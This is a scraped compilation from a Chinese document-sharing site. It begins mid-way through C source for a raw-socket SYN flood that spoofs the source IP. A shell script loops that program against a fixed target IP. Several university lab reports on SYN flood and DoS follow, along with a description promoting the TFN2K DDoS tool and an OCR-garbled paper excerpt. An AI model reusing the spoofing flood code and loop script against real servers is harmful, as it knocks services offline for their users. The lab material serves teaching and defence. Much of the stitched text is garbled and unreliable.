htons(80);sin.sin_addr.s_addr = inet_addr(dst_ip);memset(datagram, 0, 4096); /* zero out the buffer *///Fill in the IP Headeriph->ihl = 5;iph->version = 4;iph->tos = 0;iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);iph->id = htons(54321); //Id of this packetiph->frag_off = 0;iph->ttl = 255;iph->protocol = IPPROTO_TCP;iph->check = 0; //Set to 0 before calculating checksumiph->saddr = inet_addr ( source_ip ); //Spoof the source ip addressiph->daddr = sin.sin_addr.s_addr;iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);//TCP Headertcph->source = htons (1234);tcph->dest = htons (80);tcph->seq = 0;tcph->ack_seq = 0;tcph->doff = 5; /* first and only tcp segment */tcph->fin=0;tcph->syn=1;tcph->rst=0;tcph->psh=0;tcph->ack=0;tcph->urg=0;tcph->window = htons (5840); /* maximum allowed window size */tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stackshould fill in the correct checksum during transmission */tcph->urg_ptr = 0;//Now the IP checksumpsh.source_address = inet_addr( source_ip );psh.dest_address = sin.sin_addr.s_addr;psh.placeholder = 0;psh.protocol = IPPROTO_TCP;psh.tcp_length = htons(20);memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));9899 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 //IP_HDRINCL to tell the kernel that headers are included in the packetint one = 1;const int *val = &one;if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));exit(0);}//Send the packetif (sendto (s, /* our socket */datagram, /* the buffer containing headers and data */iph->tot_len, /* total length of our datagram */0, /* routing flags, normally always 0 */(struct sockaddr *) &sin, /* socket addr, just like in */sizeof (sin)) < 0) { /* a normal send() */printf ("error\n");} else {//Data send successfullyprintf ("Packet Send \n");}return 0;}142 143 144 145 146 147 148 149 150run.sh12345678 9#!/bin/sh #目标服务器ip 地址 ip="172.16.5.69" while [ "1" = "1" ]; do sudo ./syn_act $ip done的解决方案提供支持,甚至大部分linux系统默认设置就能抵挡一定量的攻击,小伙伴们尽可放心的使用你们的linux服务器把 :) 最后,把上面的代码打包下, 方便做实验的小伙伴们,点击这里就可以下载到哦。

SYN攻击实验doc

SYN攻击实验doc

华北电力大学实验报告||实验名称网络攻击与防范实验课程名称 SYN攻击实验||专业班级:学生姓名:学号:成绩:指导教师:实验日期:SYN攻击实验实验目标:运行syn 攻击程序,对目标主机发送syn 数据包查看主机状态理解syn 攻击原理实验过程:启动虚拟机,并设置虚拟机的IP 地址,以虚拟机为目标主机进行攻防试验。

1. 登陆到虚拟机中从虚拟机中对本地客户端进行syn 扫描实验,并将syn 攻击工具,拷贝到虚拟机中。

在命令提示符里面查看目标主机的端口信息2.查看目标主机的IP地址3.虚拟机cmd 下运行syn.exe攻击工具4.在虚拟机上运行syn.exe对目标主机192.168.90.23进行泛洪攻击命令实施如下,并伪装IP地址为10.0.0.05.在目标主机打开wireshark进行抓包,过滤选项进行tcp过滤,可以看到大量的syn向主机192.168.90.23发送,并将原地址改为10.0.0.0后面的IP地址6.在目标主机使用 netstat ‐an 查看当前端口状态,就会发现大量的 syn_received 状态的连接,表示 192.168.90.23 主机接受到 syn 数据包,但并未受到 ack 确认数据包,及 tcp 三次握手的第三个数据包实验结果分析:通过对目标主机进行Syn Flood攻击,使目标主机运行速度变得十分缓慢,鼠标都会卡。

多线程的Syn Flood攻击是目标主机接近死机瘫痪状态。

实验总结:感谢老师的指导,实验比较困难,但基本达到实验目的,Syn攻击在较高版本的Windows中并不会起作用,所以要选择合适的Windows 版本,这点对于此次实验至关重要。

通过此次实验,更进一步了解了TCP连接中的三次握手过程及SYN攻击的原理和整个过程。

实验6网络攻击与防范实验

实验6网络攻击与防范实验

实验 6 网络攻击与防范实验6.1 实验目的1、理解 Dos/Ddos/ARP 攻击的原理及实施过程,掌握检测和防范 Dos/DDoS/ARP 攻击的措施;2、理解缓冲区溢出攻击的原理及实施过程,掌握防范和避免措施。

6.2 实验环境实验室所有机器安装了 Windows 操作系统,并组成了一个局域网;Dos/DDoS/ARP 攻击软件;每 4-5 个学生为一组:互相进行攻击或防范。

6.3 实验原理6.3.1 DoS 的原理拒绝服务( DoS )攻击利用系统或协议的缺陷,采用欺骗的策略进行网络攻击,目的是使目标主机因 为资源全部被占用而不能处理合法用户提出的请求,即对外表现为拒绝提供服务。

常见的 DoS 攻击方法:( 1 ) Synflood: 该攻击以多个随机的源主机地址向目的主机发送 SYN 包,而在收到目的主机的 SYN ACK 后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到 ACK 一直 维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。

( 2 ) Land-based :攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过 IP 欺骗的方式发送给被攻击主机,被攻击主机与自己建立空连接并保留连接,从而很大程度地降低了系统 性能。

(3) UDP 洪水(UDP flood) 一个数据包时随机反馈一些字符。

意攻击,通过伪造与某一主机的 一台主机,通过将 Chargen 和 Echo 服务互指,来回传送毫无用处且占满带宽的垃圾数据,在两台主机之 间生成足够多的无用数据流,这一拒绝服务攻击飞快地导致网络可用带宽耗尽。

4 ) Smurf 、UDP-Flood 、Teardrop 、 PingSweep 、Pingflood 、Ping of Death 等。

6.3.2 DDOS 的原理分布式拒绝服务( DDoS )是基于 DoS 攻击的一种特殊形式。

基于NET平台的SYN Flood攻击测试的实现

基于NET平台的SYN Flood攻击测试的实现

方法 来建立连接 , 次握手 过程( 图 1 ) 示) 下 : 三 如 (所 a 如 第 … 次 握 手 :主 机 c的 客 户 进 程 向 主 机 s的 服 务 器 进 程 发 出 连 接 请 求 报 文 。 该 报 文 中码 元 字 段 S N=1A K= , Y 、C 0 同
时 为 这 个 报 文 分 配 序 号 S Q =x E 。
生 ,研究方向为信息资源管理。E ma :x h n o 6 .o - i c ut @13cm l a
夏春 涛,杜 学绘 ,郝耀辉 ,等:基 于. T平 台的 S NFo d攻击测试的实现 NE Y lo
0 A K=l 序 号 S Q =x 1 确 认 号 A =y 1 、C , E +, N +。
作者简介:夏春涛 ( 7 -) ,河南禹州人 ,硕士,讲师 ,研究方向为信息安全; 杜学绘 ( 6 -) 1 9 ,男 9 1 8 ,女,河南郑州人 ,博士研究生 ,教授 , 9
研 究 方 向 为信 息 安 全 ; 郝 耀 辉 (9 9 ,女 ,河 南 焦 作人 ,硕, 女 ,河 南 洛 阳 人 ,博 士 研 究 17 一) 18 一)
套 接 字 (a okt R wS c e 技 术 , 以对 较 低 层 次 协 议 ( I 、 MP ) 可 如 PI C )
第 二 次 握 手 :主 机 s的 服 务 器 进 程 向主 机 c 的客 户 进 程 发 出 应 答 报 文 。 该报 文 中 码 元 字 段 S YN=lA K=l 为 这 个 、C ,
收稿 日期:2 1—62 ;修订 日期:2 1—82 。 0 00—9 0 00 —9
基 金 项 目: 国家 8 3高技 术 研 究 发 展 计划 基 金 项 目 (0 9 0 Z 3 ) 6 20 AA 1 4 8。

DDOS攻击实验报告

DDOS攻击实验报告

篇一:ddos攻击实验这里主要介绍tfn2k,因为它最著名嘛!主要分为使用说明,攻击实例,程序分析,防范手段等几部分。

这里主要介绍tfn2k,因为它最著名嘛!主要分为使用说明,攻击实例,程序分析,防范手段等几部分。

简介:tfn被认为是当今功能最强性能最好的dos攻击工具,几乎不可能被察觉。

作者发布这个工具的出发点是什么呢?作者向你保证它不会伤害公司或个人。

但是它会吓一吓那些不关心系统安全的人,因为现在精密的工具被不断改善,并且被私人持有,他们许多都是不可预测的。

现在是每一个人都清醒的时候了,每一个人都应该意识到假如他不足够关心他的安全问题,最坏的情形就会发生。

因此这个程序被设计成大多数的操作系统可以编译,以表明现在的操作系统没有特别安全的,包括windows,solaris,linux及其他各种unix.特点描述:tfn使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,以产生随机匿名的拒绝服务攻击和远程访问。

此版本的新特点包括:1。

功能性增加:为分布式执行控制的远程单路命令执行对软弱路由器的混合攻击对有ip栈弱点的系统发动targa3攻击对许多unix系统和winnt的兼容性。

2。

匿名秘密的客户服务器通讯使用:假的源地址高级加密单路通讯协议通过随机ip协议发送消息诱骗包编译:在编译之前,先要编辑src/makefile文件修改选项符合你的操作系统。

建议你看一下src/config.h然后修改一些重要的缺省值。

一旦你开始编译,你会被提示输入一个8--32位的服务器密码。

如果你使用require_pass 类型编译,在使用客户端时你必须输入这个密码。

安装:tfn服务器端被安装运行于主机,身份是root(或euid root)。

它将用自己的方式提交系统配置的改变,于是如果系统重启你也得重启。

一旦服务器端被安装,你就可以把主机名加入你的列表了(当然你也可以联系单个的服务器端)。

组合式SYNFlood网络安全综合实验教学改革研究-最新教育文档

组合式SYNFlood网络安全综合实验教学改革研究-最新教育文档

组合式 SYN Flood 网络安全综合实验教学改革研究:In view of the current problems in the network security experiment teaching single environment and scattered topics Flood attack and defense experiment as a teaching case and proposing a multi scene and combined teaching design. Based on the PC end and the mobile phone end , a modular approach was adopted to achieve a comprehensive offensive and defensive experiment in both real device and simulation environment , which has applied value to the information reform of computer experiment teaching in colleges and universities.续“合理”的服务请求 ?砗木》 ?务器有限的资源, 或造成服务器 崩溃、瘫痪无法响应正常用户的请求。

SYNFlood 攻击是目前 DOS 和DDOSfe 要的攻击手段之一,它利用 TCP 协议在建立连接时需 要“三次握手”的缺陷对目标服务器恶意发起大量伪造源地址 的TCP (SYN 置位)请求[1,2],而不给予后续的确认包。

因此三次握手无法完成, 目标服务器会在 SYNTimeout 时间内重试(再 次发送SYN+AC 包,并将这种半连接状态存储在 TCP 连接队列中, 服务器端将忙于处理攻击者伪造的 TCP 请求,此时,从正常客户such as limited time , taking the SYN 随着互联网的快速发展, DOS 攻击和DDOS 攻击是目前网络安全领域最严重的问题之一。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

实验五分析SYN FLOOd攻击原理
一、实验内容
通过分小组实施SYN FLood攻击,掌握分布式拒绝服务攻击原理。

二、实验目的和要求
1.实验目的
本实验的教学目的是熟悉SYN flood的攻击原理与过程,及IPv4所存在的固有缺陷。

2.实验要求
本实验的基本要求:学生在实验课前分小组准备,每组分角色确定实施攻击者和被攻击者,熟悉SYN flood的攻击原理与过程,观察攻击现象。

三、实验设备(软、硬件)
硬件:性能较强的PC机
软件:Windows NT操作系统
四,实验设计方案;
1两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台web服务器,攻击方攻击对方得web服务器,
2,附syn-flood攻击得源码,注意攻击 ip地址要做改动
五,实验原理
在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的TCP SYN报文,受害主机分配必要的资源,然后向源地址返回SYN+ACK包,并等待源端返回ACK包。

由于源地址是伪造的,所以源端永远都不会返回ACK报文,受害主机继续发送SYN+ACK包,并将半连接放入端口的积压队列中,虽然一般的主机都有超时机制和默认的重传次数,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCP SYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。

六,实验方法及步骤
1,被攻击方配置web服务器
2,攻击方设置要攻击服务器的ip地址,然后编译源程序。

3,运行synflood,攻击web服务器
4,被攻击方打开命令行提示窗口,运行netstat命令,观察响应,netstat命令显示了所有当前连接,可以注意到netstat所返回的记录
5,试着打开对方web服务器的网页,观察结果;
6,试着同时多台机器对同一web服务器发起攻击,然后用一台机器登陆web服务器,观察结果
七,试验数据记录与处理
此项可以不填
八,试验结果及分析
1、被攻击方配置Web服务器,打开的端口是80
2、被攻击方的IP地址为
3、使用C语言编写synflood攻击工具
其中c的攻击代码模拟了真实的谷歌浏览器发起tcp请求的情况,不仅仅是标准的ip头 + tcp 头还加上了tcp options字段,mss最大段大小、sack选择确认、window scale 窗口规模因子,大小总共66字节。

4、进行攻击
本次攻击使用的linux系统进行攻击的,其程序名为synflood,g攻击的IP地址是192.168.247.1 ,端口号是80
5、查看被攻击的效果
首先使用wiresshark进行抓包查看可以看到其接受到的全是SYN的数据包。

然后打开Windows任务管理器查看CPU的使用情况,并与进行攻击前后对比可以看到有明显的波动。

图一攻击前
图二攻击后
6、打开服务器
在打开网页服务器时,进行发现与原来所打开的速度相比有放慢的迹象。

7、联合攻击测试
九,实验总结
更近一步的了解了TCP三次握手过程中的SYN-Flood攻击的原理,并在linux之上利用C语言编写的SYN-Flood程序对装有web服务器的主机进行攻击,并取得了一定的效果。

十,参考资料
《计算机网络》
《C语言程序设计》
《》。

相关文档
最新文档